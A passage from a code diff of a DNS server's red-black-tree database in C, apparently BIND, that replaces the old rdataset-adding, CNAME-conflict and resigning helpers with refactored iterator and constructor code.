+	 * Keep the current version in the open list so that list operation
+	 * won't happen in normal lookup operations.
+	 */
+	PREPEND(rbtdb->open_versions, rbtdb->current_version, link);
 
-	REQUIRE(VALID_RBTDB(rbtdb));
+	rbtdb->common.magic = DNS_DB_MAGIC;
+	rbtdb->common.impmagic = RBTDB_MAGIC;
 
-	iterator = isc_mem_get(rbtdb->common.mctx, sizeof(*iterator));
+	*dbp = (dns_db_t *)rbtdb;
 
-	if ((db->attributes & DNS_DBATTR_CACHE) == 0) {
-		now = 0;
-		if (rbtversion == NULL) {
-			currentversion(
-				db, (dns_dbversion_t **)(void *)(&rbtversion));
-		} else {
-			INSIST(rbtversion->rbtdb == rbtdb);
+	return (ISC_R_SUCCESS);
 
-			(void)isc_refcount_increment(&rbtversion->references);
-		}
-	} else {
-		if (now == 0) {
-			isc_stdtime_get(&now);
-		}
-		rbtversion = NULL;
-	}
+cleanup_tree_lock:
+	TREE_DESTROYLOCK(&rbtdb->tree_lock);
+	RBTDB_DESTROYLOCK(&rbtdb->lock);
+	isc_mem_put(mctx, rbtdb, sizeof(*rbtdb));
+	return (result);
+}
 
-	iterator->common.magic = DNS_RDATASETITER_MAGIC;
-	iterator->common.methods = &rdatasetiter_methods;
-	iterator->common.db = db;
-	iterator->common.node = node;
-	iterator->common.version = (dns_dbversion_t *)rbtversion;
-	iterator->common.now = now;
+/*
+ * Rdataset Iterator Methods
+ */
 
-	isc_refcount_increment(&rbtnode->references);
+static void
+rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
+	rbtdb_rdatasetiter_t *rbtiterator = NULL;
 
-	iterator->current = NULL;
+	rbtiterator = (rbtdb_rdatasetiter_t *)(*iteratorp);
 
-	*iteratorp = (dns_rdatasetiter_t *)iterator;
+	if (rbtiterator->common.version != NULL) {
+		dns__rbtdb_closeversion(rbtiterator->common.db,
+					&rbtiterator->common.version,
+					false DNS__DB_FLARG_PASS);
+	}
+	dns__db_detachnode(rbtiterator->common.db,
+			   &rbtiterator->common.node DNS__DB_FLARG_PASS);
+	isc_mem_put(rbtiterator->common.db->mctx, rbtiterator,
+		    sizeof(*rbtiterator));
 
-	return (ISC_R_SUCCESS);
+	*iteratorp = NULL;
 }
 
 static bool
-cname_and_other_data(dns_rbtnode_t *node, rbtdb_serial_t serial) {
-	rdatasetheader_t *header, *header_next;
-	bool cname, other_data;
-	dns_rdatatype_t rdtype;
-
-	/*
-	 * The caller must hold the node lock.
-	 */
+iterator_active(dns_rbtdb_t *rbtdb, rbtdb_rdatasetiter_t *rbtiterator,
+		dns_slabheader_t *header) {
+	dns_ttl_t stale_ttl = header->ttl + STALE_TTL(header, rbtdb);
 
 	/*
-	 * Look for CNAME and "other data" rdatasets active in our version.
-	 */
-	cname = false;
-	other_data = false;
-	for (header = node->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		if (header->type == dns_rdatatype_cname) {
-			/*
-			 * Look for an active extant CNAME.
-			 */
-			do {
-				if (header->serial <= serial && !IGNORE(header))
-				{
-					/*
-					 * Is this a "this rdataset doesn't
-					 * exist" record?
-					 */
-					if (NONEXISTENT(header)) {
-						header = NULL;
-					}
-					break;
-				} else {
-					header = header->down;
-				}
-			} while (header != NULL);
-			if (header != NULL) {
-				cname = true;
-			}
-		} else {
-			/*
-			 * Look for active extant "other data".
-			 *
-			 * "Other data" is any rdataset whose type is not
-			 * KEY, NSEC, SIG or RRSIG.
-			 */
-			rdtype = RBTDB_RDATATYPE_BASE(header->type);
-			if (rdtype != dns_rdatatype_key &&
-			    rdtype != dns_rdatatype_sig &&
-			    rdtype != dns_rdatatype_nsec &&
-			    rdtype != dns_rdatatype_rrsig)
-			{
-				/*
-				 * Is it active and extant?
-				 */
-				do {
-					if (header->serial <= serial &&
-					    !IGNORE(header)) {
-						/*
-						 * Is this a "this rdataset
-						 * doesn't exist" record?
-						 */
-						if (NONEXISTENT(header)) {
-							header = NULL;
-						}
-						break;
-					} else {
-						header = header->down;
-					}
-				} while (header != NULL);
-				if (header != NULL) {
-					other_data = true;
-				}
-			}
-		}
-	}
-
-	if (cname && other_data) {
-		return (true);
-	}
-
-	return (false);
-}
-
-static isc_result_t
-resign_insert(dns_rbtdb_t *rbtdb, int idx, rdatasetheader_t *newheader) {
-	isc_result_t result;
-
-	INSIST(!IS_CACHE(rbtdb));
-	INSIST(newheader->heap_index == 0);
-	INSIST(!ISC_LINK_LINKED(newheader, link));
-
-	result = isc_heap_insert(rbtdb->heaps[idx], newheader);
-	return (result);
-}
-
-/*
- * node write lock must be held.
- */
-static void
-resign_delete(dns_rbtdb_t *rbtdb, rbtdb_version_t *version,
-	      rdatasetheader_t *header) {
-	/*
-	 * Remove the old header from the heap
-	 */
-	if (header != NULL && header->heap_index != 0) {
-		isc_heap_delete(rbtdb->heaps[header->node->locknum],
-				header->heap_index);
-		header->heap_index = 0;
-		if (version != NULL) {
-			new_reference(rbtdb, header->node,
-				      isc_rwlocktype_write);
-			ISC_LIST_APPEND(version->resigned_list, header, link);
-		}
-	}
-}
-
-static inline uint64_t
-recordsize(rdatasetheader_t *header, unsigned int namelen) {
-	return (dns_rdataslab_rdatasize((unsigned char *)header,
-					sizeof(*header)) +
-		sizeof(dns_ttl_t) + sizeof(dns_rdatatype_t) +
-		sizeof(dns_rdataclass_t) + namelen);
-}
-
-static void
-update_recordsandxfrsize(bool add, rbtdb_version_t *rbtversion,
-			 rdatasetheader_t *header, unsigned int namelen) {
-	unsigned char *hdr = (unsigned char *)header;
-	size_t hdrsize = sizeof(*header);
-
-	RWLOCK(&rbtversion->rwlock, isc_rwlocktype_write);
-	if (add) {
-		rbtversion->records += dns_rdataslab_count(hdr, hdrsize);
-		rbtversion->xfrsize += recordsize(header, namelen);
-	} else {
-		rbtversion->records -= dns_rdataslab_count(hdr, hdrsize);
-		rbtversion->xfrsize -= recordsize(header, namelen);
-	}
-	RWUNLOCK(&rbtversion->rwlock, isc_rwlocktype_write);
-}
-
-/*
- * write lock on rbtnode must be held.
- */
-static isc_result_t
-add32(dns_rbtdb_t *rbtdb, dns_rbtnode_t *rbtnode, const dns_name_t *nodename,
-      rbtdb_version_t *rbtversion, rdatasetheader_t *newheader,
-      unsigned int options, bool loading, dns_rdataset_t *addedrdataset,
-      isc_stdtime_t now) {
-	rbtdb_changed_t *changed = NULL;
-	rdatasetheader_t *topheader = NULL, *topheader_prev = NULL;
-	rdatasetheader_t *header = NULL, *sigheader = NULL;
-	unsigned char *merged = NULL;
-	isc_result_t result;
-	bool header_nx;
-	bool newheader_nx;
-	bool merge;
-	dns_rdatatype_t rdtype, covers;
-	rbtdb_rdatatype_t negtype, sigtype;
-	dns_trust_t trust;
-	int idx;
-
-	/*
-	 * Add an rdatasetheader_t to a node.
-	 */
-
-	/*
-	 * Caller must be holding the node lock.
-	 */
-
-	if ((options & DNS_DBADD_MERGE) != 0) {
-		REQUIRE(rbtversion != NULL);
-		merge = true;
-	} else {
-		merge = false;
-	}
-
-	if ((options & DNS_DBADD_FORCE) != 0) {
-		trust = dns_trust_ultimate;
-	} else {
-		trust = newheader->trust;
-	}
-
-	if (rbtversion != NULL && !loading) {
-		/*
-		 * We always add a changed record, even if no changes end up
-		 * being made to this node, because it's harmless and
-		 * simplifies the code.
-		 */
-		changed = add_changed(rbtdb, rbtversion, rbtnode);
-		if (changed == NULL) {
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			return (ISC_R_NOMEMORY);
-		}
-	}
-
-	newheader_nx = NONEXISTENT(newheader) ? true : false;
-	topheader_prev = NULL;
-	sigheader = NULL;
-	negtype = 0;
-	if (rbtversion == NULL && !newheader_nx) {
-		rdtype = RBTDB_RDATATYPE_BASE(newheader->type);
-		covers = RBTDB_RDATATYPE_EXT(newheader->type);
-		sigtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, covers);
-		if (NEGATIVE(newheader)) {
-			/*
-			 * We're adding a negative cache entry.
-			 */
-			if (covers == dns_rdatatype_any) {
-				/*
-				 * If we're adding an negative cache entry
-				 * which covers all types (NXDOMAIN,
-				 * NODATA(QTYPE=ANY)),
-				 *
-				 * We make all other data ancient so that the
-				 * only rdataset that can be found at this
-				 * node is the negative cache entry.
-				 */
-				for (topheader = rbtnode->data;
-				     topheader != NULL;
-				     topheader = topheader->next) {
-					set_ttl(rbtdb, topheader, 0);
-					mark_header_ancient(rbtdb, topheader);
-				}
-				goto find_header;
-			}
-			/*
-			 * Otherwise look for any RRSIGs of the given
-			 * type so they can be marked ancient later.
-			 */
-			for (topheader = rbtnode->data; topheader != NULL;
-			     topheader = topheader->next) {
-				if (topheader->type == sigtype) {
-					sigheader = topheader;
-				}
-			}
-			negtype = RBTDB_RDATATYPE_VALUE(covers, 0);
-		} else {
-			/*
-			 * We're adding something that isn't a
-			 * negative cache entry.  Look for an extant
-			 * non-ancient NXDOMAIN/NODATA(QTYPE=ANY) negative
-			 * cache entry.  If we're adding an RRSIG, also
-			 * check for an extant non-ancient NODATA ncache
-			 * entry which covers the same type as the RRSIG.
-			 */
-			for (topheader = rbtnode->data; topheader != NULL;
-			     topheader = topheader->next) {
-				if ((topheader->type ==
-				     RBTDB_RDATATYPE_NCACHEANY) ||
-				    (newheader->type == sigtype &&
-				     topheader->type ==
-					     RBTDB_RDATATYPE_VALUE(0, covers)))
-				{
-					break;
-				}
-			}
-			if (topheader != NULL && EXISTS(topheader) &&
-			    ACTIVE(topheader, now)) {
-				/*
-				 * Found one.
-				 */
-				if (trust < topheader->trust) {
-					/*
-					 * The NXDOMAIN/NODATA(QTYPE=ANY)
-					 * is more trusted.
-					 */
-					free_rdataset(rbtdb, rbtdb->common.mctx,
-						      newheader);
-					if (addedrdataset != NULL) {
-						bind_rdataset(
-							rbtdb, rbtnode,
-							topheader, now,
-							isc_rwlocktype_write,
-							addedrdataset);
-					}
-					return (DNS_R_UNCHANGED);
-				}
-				/*
-				 * The new rdataset is better.  Expire the
-				 * ncache entry.
-				 */
-				set_ttl(rbtdb, topheader, 0);
-				mark_header_ancient(rbtdb, topheader);
-				topheader = NULL;
-				goto find_header;
-			}
-			negtype = RBTDB_RDATATYPE_VALUE(0, rdtype);
-		}
-	}
-
-	for (topheader = rbtnode->data; topheader != NULL;
-	     topheader = topheader->next) {
-		if (topheader->type == newheader->type ||
-		    topheader->type == negtype) {
-			break;
-		}
-		topheader_prev = topheader;
-	}
-
-find_header:
-	/*
-	 * If header isn't NULL, we've found the right type.  There may be
-	 * IGNORE rdatasets between the top of the chain and the first real
-	 * data.  We skip over them.
-	 */
-	header = topheader;
-	while (header != NULL && IGNORE(header)) {
-		header = header->down;
-	}
-	if (header != NULL) {
-		header_nx = NONEXISTENT(header) ? true : false;
-
-		/*
-		 * Deleting an already non-existent rdataset has no effect.
-		 */
-		if (header_nx && newheader_nx) {
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			return (DNS_R_UNCHANGED);
-		}
-
-		/*
-		 * Trying to add an rdataset with lower trust to a cache
-		 * DB has no effect, provided that the cache data isn't
-		 * stale. If the cache data is stale, new lower trust
-		 * data will supersede it below. Unclear what the best
-		 * policy is here.
-		 */
-		if (rbtversion == NULL && trust < header->trust &&
-		    (ACTIVE(header, now) || header_nx))
-		{
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			if (addedrdataset != NULL) {
-				bind_rdataset(rbtdb, rbtnode, header, now,
-					      isc_rwlocktype_write,
-					      addedrdataset);
-			}
-			return (DNS_R_UNCHANGED);
-		}
-
-		/*
-		 * Don't merge if a nonexistent rdataset is involved.
-		 */
-		if (merge && (header_nx || newheader_nx)) {
-			merge = false;
-		}
-
-		/*
-		 * If 'merge' is true, we'll try to create a new rdataset
-		 * that is the union of 'newheader' and 'header'.
-		 */
-		if (merge) {
-			unsigned int flags = 0;
-			INSIST(rbtversion->serial >= header->serial);
-			merged = NULL;
-			result = ISC_R_SUCCESS;
-
-			if ((options & DNS_DBADD_EXACT) != 0) {
-				flags |= DNS_RDATASLAB_EXACT;
-			}
-			/*
-			 * TTL use here is irrelevant to the cache;
-			 * merge is only done with zonedbs.
-			 */
-			if ((options & DNS_DBADD_EXACTTTL) != 0 &&
-			    newheader->rdh_ttl != header->rdh_ttl)
-			{
-				result = DNS_R_NOTEXACT;
-			} else if (newheader->rdh_ttl != header->rdh_ttl) {
-				flags |= DNS_RDATASLAB_FORCE;
-			}
-			if (result == ISC_R_SUCCESS) {
-				result = dns_rdataslab_merge(
-					(unsigned char *)header,
-					(unsigned char *)newheader,
-					(unsigned int)(sizeof(*newheader)),
-					rbtdb->common.mctx,
-					rbtdb->common.rdclass,
-					(dns_rdatatype_t)header->type, flags,
-					&merged);
-			}
-			if (result == ISC_R_SUCCESS) {
-				/*
-				 * If 'header' has the same serial number as
-				 * we do, we could clean it up now if we knew
-				 * that our caller had no references to it.
-				 * We don't know this, however, so we leave it
-				 * alone.  It will get cleaned up when
-				 * clean_zone_node() runs.
-				 */
-				free_rdataset(rbtdb, rbtdb->common.mctx,
-					      newheader);
-				newheader = (rdatasetheader_t *)merged;
-				init_rdataset(rbtdb, newheader);
-				update_newheader(newheader, header);
-				if (loading && RESIGN(newheader) &&
-				    RESIGN(header) &&
-				    resign_sooner(header, newheader))
-				{
-					newheader->resign = header->resign;
-					newheader->resign_lsb =
-						header->resign_lsb;
-				}
-			} else {
-				free_rdataset(rbtdb, rbtdb->common.mctx,
-					      newheader);
-				return (result);
-			}
-		}
-		/*
-		 * Don't replace existing NS, A and AAAA RRsets in the
-		 * cache if they are already exist. This prevents named
-		 * being locked to old servers. Don't lower trust of
-		 * existing record if the update is forced. Nothing
-		 * special to be done w.r.t stale data; it gets replaced
-		 * normally further down.
-		 */
-		if (IS_CACHE(rbtdb) && ACTIVE(header, now) &&
-		    header->type == dns_rdatatype_ns && !header_nx &&
-		    !newheader_nx && header->trust >= newheader->trust &&
-		    dns_rdataslab_equalx((unsigned char *)header,
-					 (unsigned char *)newheader,
-					 (unsigned int)(sizeof(*newheader)),
-					 rbtdb->common.rdclass,
-					 (dns_rdatatype_t)header->type))
-		{
-			/*
-			 * Honour the new ttl if it is less than the
-			 * older one.
-			 */
-			if (header->rdh_ttl > newheader->rdh_ttl) {
-				set_ttl(rbtdb, header, newheader->rdh_ttl);
-			}
-			if (header->noqname == NULL &&
-			    newheader->noqname != NULL) {
-				header->noqname = newheader->noqname;
-				newheader->noqname = NULL;
-			}
-			if (header->closest == NULL &&
-			    newheader->closest != NULL) {
-				header->closest = newheader->closest;
-				newheader->closest = NULL;
-			}
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			if (addedrdataset != NULL) {
-				bind_rdataset(rbtdb, rbtnode, header, now,
-					      isc_rwlocktype_write,
-					      addedrdataset);
-			}
-			return (ISC_R_SUCCESS);
-		}
-		/*
-		 * If we have will be replacing a NS RRset force its TTL
-		 * to be no more than the current NS RRset's TTL.  This
-		 * ensures the delegations that are withdrawn are honoured.
-		 */
-		if (IS_CACHE(rbtdb) && ACTIVE(header, now) &&
-		    header->type == dns_rdatatype_ns && !header_nx &&
-		    !newheader_nx && header->trust <= newheader->trust)
-		{
-			if (newheader->rdh_ttl > header->rdh_ttl) {
-				newheader->rdh_ttl = header->rdh_ttl;
-			}
-		}
-		if (IS_CACHE(rbtdb) && ACTIVE(header, now) &&
-		    (options & DNS_DBADD_PREFETCH) == 0 &&
-		    (header->type == dns_rdatatype_a ||
-		     header->type == dns_rdatatype_aaaa ||
-		     header->type == dns_rdatatype_ds ||
-		     header->type == RBTDB_RDATATYPE_SIGDS) &&
-		    !header_nx && !newheader_nx &&
-		    header->trust >= newheader->trust &&
-		    dns_rdataslab_equal((unsigned char *)header,
-					(unsigned char *)newheader,
-					(unsigned int)(sizeof(*newheader))))
-		{
-			/*
-			 * Honour the new ttl if it is less than the
-			 * older one.
-			 */
-			if (header->rdh_ttl > newheader->rdh_ttl) {
-				set_ttl(rbtdb, header, newheader->rdh_ttl);
-			}
-			if (header->noqname == NULL &&
-			    newheader->noqname != NULL) {
-				header->noqname = newheader->noqname;
-				newheader->noqname = NULL;
-			}
-			if (header->closest == NULL &&
-			    newheader->closest != NULL) {
-				header->closest = newheader->closest;
-				newheader->closest = NULL;
-			}
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			if (addedrdataset != NULL) {
-				bind_rdataset(rbtdb, rbtnode, header, now,
-					      isc_rwlocktype_write,
-					      addedrdataset);
-			}
-			return (ISC_R_SUCCESS);
-		}
-		INSIST(rbtversion == NULL ||
-		       rbtversion->serial >= topheader->serial);
-		if (loading) {
-			newheader->down = NULL;
-			idx = newheader->node->locknum;
-			if (IS_CACHE(rbtdb)) {
-				if (ZEROTTL(newheader)) {
-					ISC_LIST_APPEND(rbtdb->rdatasets[idx],
-							newheader, link);
-				} else {
-					ISC_LIST_PREPEND(rbtdb->rdatasets[idx],
-							 newheader, link);
-				}
-				INSIST(rbtdb->heaps != NULL);
-				result = isc_heap_insert(rbtdb->heaps[idx],
-							 newheader);
-				if (result != ISC_R_SUCCESS) {
-					free_rdataset(rbtdb, rbtdb->common.mctx,
-						      newheader);
-					return (result);
-				}
-			} else if (RESIGN(newheader)) {
-				result = resign_insert(rbtdb, idx, newheader);
-				if (result != ISC_R_SUCCESS) {
-					free_rdataset(rbtdb, rbtdb->common.mctx,
-						      newheader);
-					return (result);
-				}
-				/*
-				 * Don't call resign_delete as we don't need
-				 * to reverse the delete.  The free_rdataset
-				 * call below will clean up the heap entry.
-				 */
-			}
-
-			/*
-			 * There are no other references to 'header' when
-			 * loading, so we MAY clean up 'header' now.
-			 * Since we don't generate changed records when
-			 * loading, we MUST clean up 'header' now.
-			 */
-			if (topheader_prev != NULL) {
-				topheader_prev->next = newheader;
-			} else {
-				rbtnode->data = newheader;
-			}
-			newheader->next = topheader->next;
-			if (rbtversion != NULL && !header_nx) {
-				update_recordsandxfrsize(false, rbtversion,
-							 header,
-							 nodename->length);
-			}
-			free_rdataset(rbtdb, rbtdb->common.mctx, header);
-		} else {
-			idx = newheader->node->locknum;
-			if (IS_CACHE(rbtdb)) {
-				INSIST(rbtdb->heaps != NULL);
-				result = isc_heap_insert(rbtdb->heaps[idx],
-							 newheader);
-				if (result != ISC_R_SUCCESS) {
-					free_rdataset(rbtdb, rbtdb->common.mctx,
-						      newheader);
-					return (result);
-				}
-				if (ZEROTTL(newheader)) {
-					ISC_LIST_APPEND(rbtdb->rdatasets[idx],
-							newheader, link);
-				} else {
-					ISC_LIST_PREPEND(rbtdb->rdatasets[idx],
-							 newheader, link);
-				}
-			} else if (RESIGN(newheader)) {
-				result = resign_insert(rbtdb, idx, newheader);
-				if (result != ISC_R_SUCCESS) {
-					free_rdataset(rbtdb, rbtdb->common.mctx,
-						      newheader);
-					return (result);
-				}
-				resign_delete(rbtdb, rbtversion, header);
-			}
-			if (topheader_prev != NULL) {
-				topheader_prev->next = newheader;
-			} else {
-				rbtnode->data = newheader;
-			}
-			newheader->next = topheader->next;
-			newheader->down = topheader;
-			topheader->next = newheader;
-			rbtnode->dirty = 1;
-			if (changed != NULL) {
-				changed->dirty = true;
-			}
-			if (rbtversion == NULL) {
-				set_ttl(rbtdb, header, 0);
-				mark_header_ancient(rbtdb, header);
-				if (sigheader != NULL) {
-					set_ttl(rbtdb, sigheader, 0);
-					mark_header_ancient(rbtdb, sigheader);
-				}
-			}
-			if (rbtversion != NULL && !header_nx) {
-				update_recordsandxfrsize(false, rbtversion,
-							 header,
-							 nodename->length);
-			}
-		}
-	} else {
-		/*
-		 * No non-IGNORED rdatasets of the given type exist at
-		 * this node.
-		 */
-
-		/*
-		 * If we're trying to delete the type, don't bother.
-		 */
-		if (newheader_nx) {
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			return (DNS_R_UNCHANGED);
-		}
-
-		idx = newheader->node->locknum;
-		if (IS_CACHE(rbtdb)) {
-			result = isc_heap_insert(rbtdb->heaps[idx], newheader);
-			if (result != ISC_R_SUCCESS) {
-				free_rdataset(rbtdb, rbtdb->common.mctx,
-					      newheader);
-				return (result);
-			}
-			if (ZEROTTL(newheader)) {
-				ISC_LIST_APPEND(rbtdb->rdatasets[idx],
-						newheader, link);
-			} else {
-				ISC_LIST_PREPEND(rbtdb->rdatasets[idx],
-						 newheader, link);
-			}
-		} else if (RESIGN(newheader)) {
-			result = resign_insert(rbtdb, idx, newheader);
-			if (result != ISC_R_SUCCESS) {
-				free_rdataset(rbtdb, rbtdb->common.mctx,
-					      newheader);
-				return (result);
-			}
-			resign_delete(rbtdb, rbtversion, header);
-		}
-
-		if (topheader != NULL) {
-			/*
-			 * We have an list of rdatasets of the given type,
-			 * but they're all marked IGNORE.  We simply insert
-			 * the new rdataset at the head of the list.
-			 *
-			 * Ignored rdatasets cannot occur during loading, so
-			 * we INSIST on it.
-			 */
-			INSIST(!loading);
-			INSIST(rbtversion == NULL ||
-			       rbtversion->serial >= topheader->serial);
-			if (topheader_prev != NULL) {
-				topheader_prev->next = newheader;
-			} else {
-				rbtnode->data = newheader;
-			}
-			newheader->next = topheader->next;
-			newheader->down = topheader;
-			topheader->next = newheader;
-			rbtnode->dirty = 1;
-			if (changed != NULL) {
-				changed->dirty = true;
-			}
-		} else {
-			/*
-			 * No rdatasets of the given type exist at the node.
-			 */
-			newheader->next = rbtnode->data;
-			newheader->down = NULL;
-			rbtnode->data = newheader;
-		}
-	}
-
-	if (rbtversion != NULL && !newheader_nx) {
-		update_recordsandxfrsize(true, rbtversion, newheader,
-					 nodename->length);
-	}
-
-	/*
-	 * Check if the node now contains CNAME and other data.
-	 */
-	if (rbtversion != NULL &&
-	    cname_and_other_data(rbtnode, rbtversion->serial)) {
-		return (DNS_R_CNAMEANDOTHER);
-	}
-
-	if (addedrdataset != NULL) {
-		bind_rdataset(rbtdb, rbtnode, newheader, now,
-			      isc_rwlocktype_write, addedrdataset);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static inline bool
-delegating_type(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
-		rbtdb_rdatatype_t type) {
-	if (IS_CACHE(rbtdb)) {
-		if (type == dns_rdatatype_dname) {
-			return (true);
-		} else {
-			return (false);
-		}
-	} else if (type == dns_rdatatype_dname ||
-		   (type == dns_rdatatype_ns &&
-		    (node != rbtdb->origin_node || IS_STUB(rbtdb))))
-	{
-		return (true);
-	}
-	return (false);
-}
-
-static inline isc_result_t
-addnoqname(dns_rbtdb_t *rbtdb, rdatasetheader_t *newheader,
-	   dns_rdataset_t *rdataset) {
-	struct noqname *noqname;
-	isc_mem_t *mctx = rbtdb->common.mctx;
-	dns_name_t name;
-	dns_rdataset_t neg, negsig;
-	isc_result_t result;
-	isc_region_t r;
-
-	dns_name_init(&name, NULL);
-	dns_rdataset_init(&neg);
-	dns_rdataset_init(&negsig);
-
-	result = dns_rdataset_getnoqname(rdataset, &name, &neg, &negsig);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	noqname = isc_mem_get(mctx, sizeof(*noqname));
-	dns_name_init(&noqname->name, NULL);
-	noqname->neg = NULL;
-	noqname->negsig = NULL;
-	noqname->type = neg.type;
-	dns_name_dup(&name, mctx, &noqname->name);
-	result = dns_rdataslab_fromrdataset(&neg, mctx, &r, 0);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	noqname->neg = r.base;
-	result = dns_rdataslab_fromrdataset(&negsig, mctx, &r, 0);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	noqname->negsig = r.base;
-	dns_rdataset_disassociate(&neg);
-	dns_rdataset_disassociate(&negsig);
-	newheader->noqname = noqname;
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	dns_rdataset_disassociate(&neg);
-	dns_rdataset_disassociate(&negsig);
-	free_noqname(mctx, &noqname);
-	return (result);
-}
-
-static inline isc_result_t
-addclosest(dns_rbtdb_t *rbtdb, rdatasetheader_t *newheader,
-	   dns_rdataset_t *rdataset) {
-	struct noqname *closest;
-	isc_mem_t *mctx = rbtdb->common.mctx;
-	dns_name_t name;
-	dns_rdataset_t neg, negsig;
-	isc_result_t result;
-	isc_region_t r;
-
-	dns_name_init(&name, NULL);
-	dns_rdataset_init(&neg);
-	dns_rdataset_init(&negsig);
-
-	result = dns_rdataset_getclosest(rdataset, &name, &neg, &negsig);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	closest = isc_mem_get(mctx, sizeof(*closest));
-	dns_name_init(&closest->name, NULL);
-	closest->neg = NULL;
-	closest->negsig = NULL;
-	closest->type = neg.type;
-	dns_name_dup(&name, mctx, &closest->name);
-	result = dns_rdataslab_fromrdataset(&neg, mctx, &r, 0);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	closest->neg = r.base;
-	result = dns_rdataslab_fromrdataset(&negsig, mctx, &r, 0);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	closest->negsig = r.base;
-	dns_rdataset_disassociate(&neg);
-	dns_rdataset_disassociate(&negsig);
-	newheader->closest = closest;
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	dns_rdataset_disassociate(&neg);
-	dns_rdataset_disassociate(&negsig);
-	free_noqname(mctx, &closest);
-	return (result);
-}
-
-static dns_dbmethods_t zone_methods;
-
-static isc_result_t
-addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	    isc_stdtime_t now, dns_rdataset_t *rdataset, unsigned int options,
-	    dns_rdataset_t *addedrdataset) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	rbtdb_version_t *rbtversion = version;
-	isc_region_t region;
-	rdatasetheader_t *newheader;
-	rdatasetheader_t *header;
-	isc_result_t result;
-	bool delegating;
-	bool newnsec;
-	bool tree_locked = false;
-	bool cache_is_overmem = false;
-	dns_fixedname_t fixed;
-	dns_name_t *name;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
-
-	if (rbtdb->common.methods == &zone_methods) {
-		/*
-		 * SOA records are only allowed at top of zone.
-		 */
-		if (rdataset->type == dns_rdatatype_soa &&
-		    node != rbtdb->origin_node) {
-			return (DNS_R_NOTZONETOP);
-		}
-		RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-		REQUIRE(((rbtnode->nsec == DNS_RBT_NSEC_NSEC3 &&
-			  (rdataset->type == dns_rdatatype_nsec3 ||
-			   rdataset->covers == dns_rdatatype_nsec3)) ||
-			 (rbtnode->nsec != DNS_RBT_NSEC_NSEC3 &&
-			  rdataset->type != dns_rdatatype_nsec3 &&
-			  rdataset->covers != dns_rdatatype_nsec3)));
-		RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	}
-
-	if (rbtversion == NULL) {
-		if (now == 0) {
-			isc_stdtime_get(&now);
-		}
-	} else {
-		now = 0;
-	}
-
-	result = dns_rdataslab_fromrdataset(rdataset, rbtdb->common.mctx,
-					    &region, sizeof(rdatasetheader_t));
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	name = dns_fixedname_initname(&fixed);
-	nodefullname(db, node, name);
-	dns_rdataset_getownercase(rdataset, name);
-
-	newheader = (rdatasetheader_t *)region.base;
-	init_rdataset(rbtdb, newheader);
-	setownercase(newheader, name);
-	set_ttl(rbtdb, newheader, rdataset->ttl + now);
-	newheader->type = RBTDB_RDATATYPE_VALUE(rdataset->type,
-						rdataset->covers);
-	atomic_init(&newheader->attributes, 0);
-	if (rdataset->ttl == 0U) {
-		RDATASET_ATTR_SET(newheader, RDATASET_ATTR_ZEROTTL);
-	}
-	newheader->noqname = NULL;
-	newheader->closest = NULL;
-	atomic_init(&newheader->count,
-		    atomic_fetch_add_relaxed(&init_count, 1));
-	newheader->trust = rdataset->trust;
-	newheader->last_used = now;
-	newheader->node = rbtnode;
-	if (rbtversion != NULL) {
-		newheader->serial = rbtversion->serial;
-		now = 0;
-
-		if ((rdataset->attributes & DNS_RDATASETATTR_RESIGN) != 0) {
-			RDATASET_ATTR_SET(newheader, RDATASET_ATTR_RESIGN);
-			newheader->resign = (isc_stdtime_t)(
-				dns_time64_from32(rdataset->resign) >> 1);
-			newheader->resign_lsb = rdataset->resign & 0x1;
-		} else {
-			newheader->resign = 0;
-			newheader->resign_lsb = 0;
-		}
-	} else {
-		newheader->serial = 1;
-		newheader->resign = 0;
-		newheader->resign_lsb = 0;
-		if ((rdataset->attributes & DNS_RDATASETATTR_PREFETCH) != 0) {
-			RDATASET_ATTR_SET(newheader, RDATASET_ATTR_PREFETCH);
-		}
-		if ((rdataset->attributes & DNS_RDATASETATTR_NEGATIVE) != 0) {
-			RDATASET_ATTR_SET(newheader, RDATASET_ATTR_NEGATIVE);
-		}
-		if ((rdataset->attributes & DNS_RDATASETATTR_NXDOMAIN) != 0) {
-			RDATASET_ATTR_SET(newheader, RDATASET_ATTR_NXDOMAIN);
-		}
-		if ((rdataset->attributes & DNS_RDATASETATTR_OPTOUT) != 0) {
-			RDATASET_ATTR_SET(newheader, RDATASET_ATTR_OPTOUT);
-		}
-		if ((rdataset->attributes & DNS_RDATASETATTR_NOQNAME) != 0) {
-			result = addnoqname(rbtdb, newheader, rdataset);
-			if (result != ISC_R_SUCCESS) {
-				free_rdataset(rbtdb, rbtdb->common.mctx,
-					      newheader);
-				return (result);
-			}
-		}
-		if ((rdataset->attributes & DNS_RDATASETATTR_CLOSEST) != 0) {
-			result = addclosest(rbtdb, newheader, rdataset);
-			if (result != ISC_R_SUCCESS) {
-				free_rdataset(rbtdb, rbtdb->common.mctx,
-					      newheader);
